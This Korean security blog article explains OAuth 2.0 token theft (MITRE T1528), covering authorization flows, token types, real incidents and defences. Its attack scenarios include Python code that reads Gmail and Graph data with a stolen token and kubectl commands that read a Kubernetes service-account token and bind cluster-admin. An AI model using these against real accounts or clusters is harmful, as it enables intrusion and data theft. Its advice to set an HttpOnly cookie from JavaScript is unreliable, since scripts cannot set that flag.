토큰 탈취: OAuth 2.0 기반 인증의 5가지 취약점과 공격 원리 | T1528
OAuth 2.0 Device Code 피싱으로 MFA를 우회하는 T1528 토큰 탈취 공격 5가지 유형을 분석한다. 피해자가 정상 사이트에서 직접 인증해도 토큰이 탈취된다.
OAuth 2.0은 현재 전 세계 300만 개 이상의 웹사이트에서 사용되는 표준 인증 프레임워크이다. 하지만 이 편리함 뒤에는 T1528 Application Access Token 탈취라는 치명적인 공격 벡터가 숨어 있다.
Microsoft DART(Detection and Response Team)가 2024년 발표한 보고서에 따르면, MFA(다중 인증) 도입이 확산되면서 공격자들이 비밀번호 크래킹 대신 이미 발급된 토큰을 탈취하는 방향으로 전술을 변화시키고 있다. 특히 OAuth consent 피싱 공격의 성공률은 일반 피싱보다 3배 높은 것으로 나타났다.
T1528은 공격자가 사용자 애플리케이션 액세스 토큰을 탈취하여 원격 시스템 및 리소스에 무단 접근하는 MITRE ATT&CK 공격 기법이다. 이 기법은 Credential Access 전술에 분류되며, Containers, IaaS, Identity Provider, Office Suite, SaaS 플랫폼을 주요 대상으로 한다.
2010년대 초반까지 대부분의 웹 애플리케이션은 사용자명과 비밀번호만으로 인증을 처리했다. 하지만 이 방식에는 근본적인 문제가 있었다:
OAuth 2.0은 2012년 RFC 6749로 표준화되면서 이런 문제들을 해결하려 했다. 사용자가 직접 비밀번호를 입력하는 대신, ** 신뢰할 수 있는 인증 서버(Google, Microsoft 등)** 가 토큰을 발급하는 방식이다.
하지만 OAuth 2.0도 완벽하지 않았다. 토큰 자체가 새로운 공격 대상이 되었기 때문이다. 특히 액세스 토큰은 Bearer 토큰으로, 이를 소유한 누구나 해당 권한을 사용할 수 있다.
2020년대 들어 MFA(다중 인증)가 광범위하게 도입되면서 상황이 더욱 복잡해졌다. Microsoft의 2024년 보고서에 따르면:
MFA 커버리지가 증가함에 따라, 위협 행위자들은 MFA를 만족할 필요 없이 기업 리소스를 손상시킬 수 있는 더 정교한 기법으로 이동했습니다.
공격자들은 이제 이미 MFA를 통과한 토큰을 탈취하는 방향으로 전술을 바꿨다. 이것이 바로 T1528 공격이 주목받는 이유이다.
Application Access Token은 사용자를 대신하여 특정 애플리케이션이 보호된 리소스에 접근할 수 있는 권한을 증명하는 디지털 증명서이다.
RFC 6749에서는 액세스 토큰을 다음과 같이 정의한다:
Access tokens are credentials used to access protected resources. An access token is a string representing an authorization granted to the client.
액세스 토큰은 보호된 리소스에 접근하기 위해 사용되는 자격증명이다. 클라이언트에게 부여된 권한을 나타내는 문자열이다.
T1528 공격에서 다루는 토큰 시스템은 다음 5가지 핵심 요소로 구성된다:
OAuth 2.0 생태계에서 혼동하기 쉬운 토큰 유형들을 정리하면 다음과 같다:
| 토큰 유형 | 설명 |
|---|---|
| Access Token | 역할: 리소스 직접 접근 / 유효 기간: 1-24시간 / 탈취 시 위험도: 높음 (즉시 악용) / T1528 표적 여부: ✅ 주요 표적 |
| Refresh Token | 역할: 액세스 토큰 갱신 / 유효 기간: 30-90일 / 탈취 시 위험도: 매우 높음 (지속 접근) / T1528 표적 여부: ✅ 주요 표적 |
| ID Token | 역할: 사용자 신원 확인 / 유효 기간: 1시간 / 탈취 시 위험도: 중간 (정보 노출) / T1528 표적 여부: ⚠️ 부차 표적 |
| Authorization Code | 역할: 토큰 교환용 임시 코드 / 유효 기간: 1-10분 / 탈취 시 위험도: 중간 (시간 제한) / T1528 표적 여부: ⚠️ 중간 표적 |
| JWT | 역할: 토큰 포맷 (위 모든 유형 가능) / 유효 기간: 다양 / 탈취 시 위험도: 토큰 유형에 따라 / T1528 표적 여부: ✅ 포맷 의존 |
가장 위험한 것은 Refresh Token이다. 한 번 탈취되면 수개월간 새로운 액세스 토큰을 생성할 수 있기 때문이다.
OAuth 2.0 Authorization Code Grant Flow는 가장 안전한 OAuth 인증 방식으로 간주된다. 하지만 이 과정에서 여러 지점에서 토큰 탈취가 가능한다.
사용자가 애플리케이션에서 "Google로 로그인" 버튼을 클릭하면, 다음과 같은 HTTP 요청이 생성된다:
GET /oauth/authorize?
response_type=code&
client_id=1234567890&
redirect_uri=https://myapp.com/callback&
scope=read_email+read_profile&
state=xyz123
Host: accounts.google.com
각 매개변수의 의미:
response_type=code: Authorization Code를 요청client_id: 애플리케이션 식별자redirect_uri: 인증 완료 후 돌아올 URLscope: 요청하는 권한 범위state: CSRF 공격 방지용 랜덤 값사용자는 인증 서버(Google)에서 다음 과정을 거칩니다:
여기서 첫 번째 공격 지점이 발생한다. 공격자가 악의적인 애플리케이션을 등록하고, 피싱을 통해 사용자를 유도할 수 있다.
사용자가 권한을 승인하면, 인증 서버는 사용자를 다음 URL로 리다이렉트한다:
HTTP/1.1 302 Found
Location: https://myapp.com/callback?
code=def456&
state=xyz123
Authorization Code의 특징:
애플리케이션은 받은 Authorization Code를 액세스 토큰으로 교환한다:
POST /oauth/token
Host: accounts.google.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=def456&
redirect_uri=https://myapp.com/callback&
client_id=1234567890&
client_secret=secret789
응답:
{
"access_token": "ya29.a0ARrdaM9jK3...",
"refresh_token": "1//0GWthWrNHUKs...",
"expires_in": 3600,
"token_type": "Bearer",
"scope": "read_email read_profile"
}
여기서 두 번째 공격 지점이 발생한다. 이 토큰들이 탈취되면 공격자가 사용자를 사칭할 수 있다.
애플리케이션은 액세스 토큰을 사용하여 보호된 리소스에 접근한다:
GET /v1/userinfo
Host: www.googleapis.com
Authorization: Bearer ya29.a0ARrdaM9jK3...
응답:
{
"id": "123456789",
"email": "user@example.com",
"name": "John Doe",
"picture": "https://..."
}
OAuth 토큰을 놀이공원 손목밴드에 비유해보겠다:
OAuth 토큰도 마찬가지로, 한 번 발급되면 토큰 자체가 권한을 증명한다. 토큰을 소유한 누구나 해당 권한을 사용할 수 있다는 것이 핵심 취약점이다.
컨테이너 환경에서는 다른 형태의 토큰 시스템이 사용된다:
# 서비스 계정 토큰이 자동으로 마운트되는 경로
/var/run/secrets/kubernetes.io/serviceaccount/token
Kubernetes 토큰의 특징:
공격자가 컨테이너에 침투하면, 이 토큰을 사용해 전체 클러스터를 장악할 수 있다.
액세스 토큰이 만료되면, 애플리케이션은 리프레시 토큰을 사용해 새 토큰을 요청한다:
POST /oauth/token
Host: accounts.google.com
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token&
refresh_token=1//0GWthWrNHUKs...&
client_id=1234567890&
client_secret=secret789
이것이 가장 위험한 지점이다. 리프레시 토큰이 탈취되면 공격자가 수개월간 지속적으로 새로운 액세스 토큰을 생성할 수 있다.
공격자들이 T1528 기법을 선호하는 이유는 명확한다:
시나리오 1: OAuth Consent 피싱 공격
공격 단계별 분석:
실제 공격 코드 예시:
# 공격자가 사용하는 토큰 탈취 스크립트
import requests
def steal_emails(access_token):
headers = {
'Authorization': f'Bearer {access_token}',
'Content-Type': 'application/json'
}
# Gmail API로 이메일 목록 조회
response = requests.get(
'https://www.googleapis.com/gmail/v1/users/me/messages',
headers=headers,
params={'maxResults': 100}
)
if response.status_code == 200:
messages = response.json().get('messages', [])
print(f"탈취된 이메일 수: {len(messages)}")
return messages
else:
print(f"API 호출 실패: {response.status_code}")
return []
# 탈취된 토큰 사용
stolen_token = "ya29.a0ARrdaM9jK3..." # 피싱으로 획득한 토큰
steal_emails(stolen_token)
시나리오 2: 컨테이너 토큰 탈취
공격자가 컨테이너에 침투한 후 Kubernetes 서비스 계정 토큰을 탈취하는 과정:
# 1. 컨테이너 내부에서 토큰 위치 확인
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 2. 토큰을 환경변수로 설정
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# 3. Kubernetes API 서버 정보 수집
kubectl --token=$TOKEN get pods --all-namespaces
# 4. 권한 확대 시도
kubectl --token=$TOKEN create clusterrolebinding test --clusterrole=cluster-admin --serviceaccount=default:default
1. Pawn Storm OAuth 공격 (2017년)
2017년 4월, Pawn Storm(APT28) 그룹이 OAuth를 악용한 정교한 소셜 엔지니어링 공격을 수행했다:
공격 방법:
피해 규모:
2. CoPhish - Microsoft Copilot Studio 공격 (2024년)
2024년 10월 발견된 최신 사례로, Microsoft Copilot Studio를 악용한 OAuth 토큰 탈취 공격:
공격 특징:
기술적 혁신:
토큰을 탈취한 공격자는 다음과 같은 방식으로 공격을 확대한다:
# 1. 토큰 유효성 검사 및 권한 확인
def check_token_permissions(access_token):
headers = {'Authorization': f'Bearer {access_token}'}
# Microsoft Graph API로 권한 확인
response = requests.get(
'https://graph.microsoft.com/v1.0/me',
headers=headers
)
if response.status_code == 200:
user_info = response.json()
print(f"탈취 성공: {user_info['mail']}")
return True
return False
# 2. 추가 권한 요청 (권한 확대)
def request_additional_permissions(refresh_token):
data = {
'grant_type': 'refresh_token',
'refresh_token': refresh_token,
'scope': 'Mail.ReadWrite Files.ReadWrite.All' # 더 많은 권한 요청
}
response = requests.post(
'https://login.microsoftonline.com/common/oauth2/v2.0/token',
data=data
)
return response.json()
공격자들은 다음과 같은 방법으로 탐지를 회피한다:
개발자를 위한 보안 조치:
// ❌ 잘못된 방법: localStorage에 저장
localStorage.setItem('access_token', token);
// ✅ 올바른 방법: HttpOnly 쿠키 사용
document.cookie = `token=${token}; HttpOnly; Secure; SameSite=Strict`;
2. **토큰 유효성 검사**
```python
# 모든 API 호출 전 토큰 검증
def validate_token(token):
try:
# 토큰 서명 검증
payload = jwt.decode(token, key, algorithms=['RS256'])
# 만료 시간 확인
if payload['exp'] < time.time():
return False
return True
except jwt.InvalidTokenError:
return False
최소 권한 원칙
토큰 순환 정책
기업을 위한 보안 조치:
앱 승인 정책 강화
모니터링 강화
사용자 교육
T1528 Application Access Token 탈취는 현대 클라우드 환경에서 가장 효과적인 공격 기법 중 하나로 자리잡았다. OAuth 2.0의 편리함과 MFA의 보안성을 모두 우회할 수 있는 강력한 공격 벡터이기 때문이다.
핵심은 토큰 자체가 권한을 증명하는 Bearer 토큰의 특성에 있다. 한 번 탈취되면 추가 인증 없이 해당 권한을 모두 사용할 수 있어, 공격자에게는 매력적이고 방어자에게는 치명적인 취약점이 된다.
관련해서 OAuth 2.0 Authorization Code Flow 동작 원리와 [MFA를 켜도 뚫린다.
OAuth 피싱의 50% 성공률 분석](https://revelare.kr/posts/144) 글에서 더 자세한 기술적 내용을 다루고 있다.
관련 주제로 JWT 토큰 보안 취약점, Kubernetes RBAC 토큰 보안 강화, Zero Trust 토큰 기반 인증 등이 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.